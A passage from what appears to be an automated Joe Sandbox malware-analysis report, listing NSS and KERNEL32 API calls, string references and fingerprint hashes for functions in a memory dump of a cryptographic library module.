Part of subcall function 6C77AB10: free.MOZGLUE(D958E836,?,6C77B1EE,2404110F,?,?), ref: 6C77AB49
Part of subcall function 6C77AB10: DeleteCriticalSection.KERNEL32(5D5E6C97), ref: 6C77AB5C
Part of subcall function 6C77AB10: free.MOZGLUE(5D5E6C8B), ref: 6C77AB63
Part of subcall function 6C77AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C77AB6F
Part of subcall function 6C77AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C77AB76

TlsGetValue.KERNEL32 ref: 6C77DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C77DD0E
PK11_IsFriendly.NSS3(?), ref: 6C77DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C77DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C77DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C77DEA6
PR_Unlock.NSS3(?), ref: 6C77DF08

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 29b5535fcbb526bc1e125c5561ef083b5058b163602956575aeecb4bc8c4ea6d
Instruction ID: d1c776b3a3bf1d794a74cf103879d3c65184cc5465dd4a9d8fa6317b0629a70a
Opcode Fuzzy Hash: 29b5535fcbb526bc1e125c5561ef083b5058b163602956575aeecb4bc8c4ea6d
Instruction Fuzzy Hash: 8791F4B5A001099FEF21CF68CA85BAAB7B5BF64308F144039DC19AB741E731E915CBB5

Function 6C752D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C752D69

Strings

winTruncate2, xrefs: 6C752EF8
winSeekFile, xrefs: 6C752E9C
winUnmapfile1, xrefs: 6C752F55
winTruncate1, xrefs: 6C752EBE
winUnmapfile2, xrefs: 6C752F7F

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 85cdb746bc0b754fc6a28312a7d46d8370f925418289e0d97c94f799f6b2986c
Instruction ID: ad847ab2fff542035737b823fc7291bb6804140f92f8bf48536a4fdf0a682996
Opcode Fuzzy Hash: 85cdb746bc0b754fc6a28312a7d46d8370f925418289e0d97c94f799f6b2986c
Instruction Fuzzy Hash: 1261AF71B002049FDB54CF68D988A6A7BB1FF89318F50853CE9199B790DB31A916CBD1

Function 6C78DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C78DF37
EnterCriticalSection.KERNEL32(?), ref: 6C78DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C78DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C78E02B
PR_Unlock.NSS3(?), ref: 6C78E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C78E090
PR_Unlock.NSS3(?), ref: 6C78E0AF

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 3ea6bb45a7a0571d81692a9d547f8c0026a7f1d5470ffb7fc63c13ae9e4213be
Instruction ID: 37e8c05b776f90c5e9243c75260794ede79f208d75587497a4e11cdfd5e69d82
Opcode Fuzzy Hash: 3ea6bb45a7a0571d81692a9d547f8c0026a7f1d5470ffb7fc63c13ae9e4213be
Instruction Fuzzy Hash: AC51D2346016048FE7209F29DE44B6673B5FF54308F204939EA6647F91E731E948CBD2

Function 6C7AAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C7AAB3E,?,?,?), ref: 6C7AAC35

Part of subcall function 6C78CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C78CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C7AAB3E,?,?,?), ref: 6C7AAC55

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C7AAB3E,?,?), ref: 6C7AAC70

Part of subcall function 6C78E300: TlsGetValue.KERNEL32 ref: 6C78E33C
Part of subcall function 6C78E300: EnterCriticalSection.KERNEL32(?), ref: 6C78E350
Part of subcall function 6C78E300: PR_Unlock.NSS3(?), ref: 6C78E5BC
Part of subcall function 6C78E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C78E5CA
Part of subcall function 6C78E300: TlsGetValue.KERNEL32 ref: 6C78E5F2
Part of subcall function 6C78E300: EnterCriticalSection.KERNEL32(?), ref: 6C78E606
Part of subcall function 6C78E300: PORT_Alloc_Util.NSS3(?), ref: 6C78E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C7AAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7AAB3E), ref: 6C7AACD7
PORT_Alloc_Util.NSS3(?), ref: 6C7AAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C7AAD2B

Part of subcall function 6C78F360: TlsGetValue.KERNEL32(00000000,?,6C7AA904,?), ref: 6C78F38B
Part of subcall function 6C78F360: EnterCriticalSection.KERNEL32(?,?,?,6C7AA904,?), ref: 6C78F3A0
Part of subcall function 6C78F360: PR_Unlock.NSS3(?,?,?,?,6C7AA904,?), ref: 6C78F3D3

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 9b06bd4800cd7ed4976c6352383a3be05df911ec7c472e6356c2ace106afa60e
Instruction ID: 14d21238f4c025dc841bfaffd5595465cee5a73d6776c39beecf960541ced357
Opcode Fuzzy Hash: 9b06bd4800cd7ed4976c6352383a3be05df911ec7c472e6356c2ace106afa60e
Instruction Fuzzy Hash: B6312BB1E016056FEB00CFA9DD459AF7766EF84728B188238E91557741EB31DC068BA1

Function 6C788C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C788C7C

Part of subcall function 6C829DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DC6
Part of subcall function 6C829DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DD1
Part of subcall function 6C829DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C829DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C788CB0
TlsGetValue.KERNEL32 ref: 6C788CD1
EnterCriticalSection.KERNEL32(?), ref: 6C788CE5
PR_Unlock.NSS3(?), ref: 6C788D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C788D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C788D93

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 14ea91321838f92c741a941afe59fd5e88f64541ec3d916e3e582852a58d28ae
Instruction ID: 7fccd26a79bb451933e3a34289d273a468c4e3ccf5df7bdba8ae3aee29c56c52
Opcode Fuzzy Hash: 14ea91321838f92c741a941afe59fd5e88f64541ec3d916e3e582852a58d28ae
Instruction Fuzzy Hash: 39318A71A02201AFE710AF68DE457AA77B0BF58318F10013AEB15A7B50D730A964C7E1

Function 6C7C9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C7C9C5B), ref: 6C7C9D82

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C7C9C5B), ref: 6C7C9DA9

Part of subcall function 6C7C1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C76895A,00000000,?,00000000,?,00000000,?,00000000,?,6C75F599,?,00000000), ref: 6C7C136A
Part of subcall function 6C7C1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C76895A,00000000,?,00000000,?,00000000,?,00000000,?,6C75F599,?,00000000), ref: 6C7C137E
Part of subcall function 6C7C1340: PL_ArenaGrow.NSS3(?,6C75F599,?,00000000,?,6C76895A,00000000,?,00000000,?,00000000,?,00000000,?,6C75F599,?), ref: 6C7C13CF
Part of subcall function 6C7C1340: PR_Unlock.NSS3(?,?,6C76895A,00000000,?,00000000,?,00000000,?,00000000,?,6C75F599,?,00000000), ref: 6C7C145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C7C9C5B), ref: 6C7C9DCE

Part of subcall function 6C7C1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C76895A,00000000,?,00000000,?,00000000,?,00000000,?,6C75F599,?,00000000), ref: 6C7C13F0
Part of subcall function 6C7C1340: PL_ArenaGrow.NSS3(?,6C75F599,?,?,?,00000000,00000000,?,6C76895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C7C1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C7C9C5B), ref: 6C7C9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C7C9C5B), ref: 6C7C9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C7C9C5B), ref: 6C7C9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C7C9C5B), ref: 6C7C9E91

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

Part of subcall function 6C7C1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C7BFAAB,00000000), ref: 6C7C157E
Part of subcall function 6C7C1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C7BFAAB,00000000), ref: 6C7C1592
Part of subcall function 6C7C1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C7C1600
Part of subcall function 6C7C1560: PL_ArenaRelease.NSS3(?,?), ref: 6C7C1620
Part of subcall function 6C7C1560: PR_Unlock.NSS3(?), ref: 6C7C1639

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 07731860eabf0bf935cb9e4abe33945ca9c434b8720744f3ce1af74c7dfb4caf
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 58418EB5601607AFE7408F15DA54B92BBA5FF5534CF148138D8184BFA1EB72E834CB92

Function 6C78DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C78DDEC

Part of subcall function 6C7C0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C78DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C78DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C78DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C78DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C78DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C78DECC

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: d0bf2f6ee36fb0d06365db522f64b6a9a59a91712e929fc52d4e60e96fae9318
Instruction ID: ff12600c71bff1dee3a4673cf617b3b4ceb042d7b8a7d6f530bc3f070bec9e19
Opcode Fuzzy Hash: d0bf2f6ee36fb0d06365db522f64b6a9a59a91712e929fc52d4e60e96fae9318
Instruction Fuzzy Hash: 8031EBB29011156BEB106F69AE49BBB76A8DF64708F050136EE05A7701FB31D914C6F2

Function 6C767E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C767E48

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C767E5B

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C767E7B

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C88925C,?), ref: 6C767E92

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C767EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C767ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C767EFA

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: cfd3085f8b36b1056d87c1d6a48a6f001e2ebbd7aa6e63e5fca94b22173064e8
Instruction ID: 56f4a3fd3729e7bed1dbe487ebb310ea876fca2cb8e429f274926bc12d7d0283
Opcode Fuzzy Hash: cfd3085f8b36b1056d87c1d6a48a6f001e2ebbd7aa6e63e5fca94b22173064e8
Instruction Fuzzy Hash: 613170B6A012119BEB108A6A9E48B9773A8AF44798F154934DC15EBF41E730EC08C7E1

Function 6C7BDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C7BD9E4,00000000), ref: 6C7BDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C7BD9E4,00000000), ref: 6C7BDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C7BD9E4,00000000), ref: 6C7BDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C7BDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7BDCAD

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: f6a0715444db735c3925e254cdaca2b2c8f525aed22593354e624fa91491d78d
Instruction ID: f64a5a4e1fefe1c22116a2fafbc0f9be67134ba628114b910a33ed0619a38608
Opcode Fuzzy Hash: f6a0715444db735c3925e254cdaca2b2c8f525aed22593354e624fa91491d78d
Instruction Fuzzy Hash: 99319EB5A002019FD750CF1DD984B96B7F8AF25358F248438E94CDBB05E771E944CBA5

Function 6C782E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C77E728,?,00000038,?,?,00000000), ref: 6C782E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C782E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C782E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C782E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C782E9E
PR_Unlock.NSS3(?), ref: 6C782EAB
PR_Unlock.NSS3(?), ref: 6C782F0D

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6c6e0000_8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 6b8909ea593199d4f9fc3646191ae698753b7186f38aa6828373879fa1ba9511
Instruction ID: 0b4a881d1b6b0b31a6e40e3f2ebb0a6006eefd59e22703fa18defe34f1f57700
Opcode Fuzzy Hash: 6b8909ea593199d4f9fc3646191ae698753b7186f38aa6828373879fa1ba9511
Instruction Fuzzy Hash: 2531E2B5A01105ABEB119F28DD8887ABB78EF1525DB048574ED1887A12FB31ED64C7E0

Function 6C7A1EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&zl,6C786295,?,00000000,?,00000001,S&zl,?), ref: 6C7A1ECB

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

TlsGetValue.KERNEL32(?,00000001,?,S&zl,6C786295,?,00000000,?,00000001,S&zl,?), ref: 6C7A1EF1
EnterCriticalSection.KERNEL32(?), ref: 6C7A1F01
PR_SetError.NSS3(00000000,00000000), ref: 6C7A1F39

Part of subcall function 6C7AFE20: TlsGetValue.KERNEL32(6C785ADC,?,00000000,00000001,?,?,00000000,?,6C77BA55,?,?), ref: 6C7AFE4B
Part of subcall function 6C7AFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7AFE5F

PR_Unlock.NSS3(?), ref: 6C7A1F67

Strings

S&zl, xrefs: 6C7A1EA0

Memory Dump Source

Source File: 0000000A.00000002.2857360971.000000006C6E1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 0000000A.00000002.2857332965.000000006C6E0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857498944.000000006C87F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857573449.000000006C8BE000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857603020.000000006C8BF000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857631775.000000006C8C0000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 0000000A.00000002.2857685639.000000006C8C5000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

